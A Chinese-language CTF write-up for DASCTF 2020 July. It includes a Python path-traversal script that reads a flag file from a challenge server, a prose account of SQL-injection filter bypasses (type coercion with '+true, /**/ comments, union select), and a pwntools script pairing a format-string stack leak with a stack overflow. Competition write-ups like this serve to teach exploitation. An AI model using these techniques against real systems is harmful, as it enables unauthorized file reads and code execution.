0%

DASCTF 2020 7月赛

 有关DASCTF的WP, 只做出来了web1,2和pwn1

web1

 简单的文件包含, 需要带上一个时间戳访问base64编码后的文件名. 过滤了’./‘这个组合, 但是只过滤了字符串头, 后续不过滤. 只要不以’./‘打头就可以.
 由此我们可以先进一个随意的子目录然后再../../出来. 最后flag在根目录下, 直接读就完事.
EXP如下:

1
2
3
4
5
6
7
8
9
10
import requests
import time
import base64
filename='/proc/../../../../../flag'.encode('ascii')
enc=base64.b64encode(filename).decode('ascii')
stime=str(time.time())
stime=stime[:stime.index('.')]
url='http://183.129.189.60:10009/image.php?t={}&f={}'.format(stime,enc)
page=requests.get(url)
print(page.text)

web2

 队友做的, 利用了一个sql注入的trick盲注做的. 看其他队伍的师傅用union select也可.
 sql代码中存在类型的自动转换, 例如'1'+1在执行的时候会把字符1转换成数字1, 然后true和false在做运算的时候会自动转换成1和0. 虽然题目中过滤了and, or, if这种判断语句, 依然可以利用形如'+true的语句来区分出执行语句的结果. 然后利用形如select/**/from这样的注释来规避其他匹配.
 由此写个盲注脚本就能注出来了.
 当然也可以直接union/**/select直接干出来

pwn1

 最简单的栈溢出, 两次输入一次输出. 唯一麻烦一点点的是溢出的地方在main函数中,需要先在第一次输入输出的时候利用格式化字符串漏洞泄露栈的地址, 否则会让esp指到乱七八糟的地方去.exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import pwn
import sys
#offset=37
offset=36
if len(sys.argv)-1:
p=pwn.remote(sys.argv[1],sys.argv[2])
else:
p=pwn.process('./qiandao')
pwn.gdb.attach(p,'''bp 0x80485f0
bp 0x80485f5''')
p.sendline('%x-%x!')
data=p.recvuntil('!')
stackloc='0x'+data[data.index('-')+1:data.index('!')]
stackloc=int(stackloc,16)
print(stackloc)
p.recvuntil('?')
payload='a'*offset
payload+=pwn.p32(stackloc+4)
#payload+='a'*4
payload+=pwn.p32(0x08048586)
p.sendline(payload)
p.interactive()

总结

 最后19名, 还行吧. 好久没写过pwn脚本了, 被个这种程度的栈溢出卡这么久, 太蒂蒂了.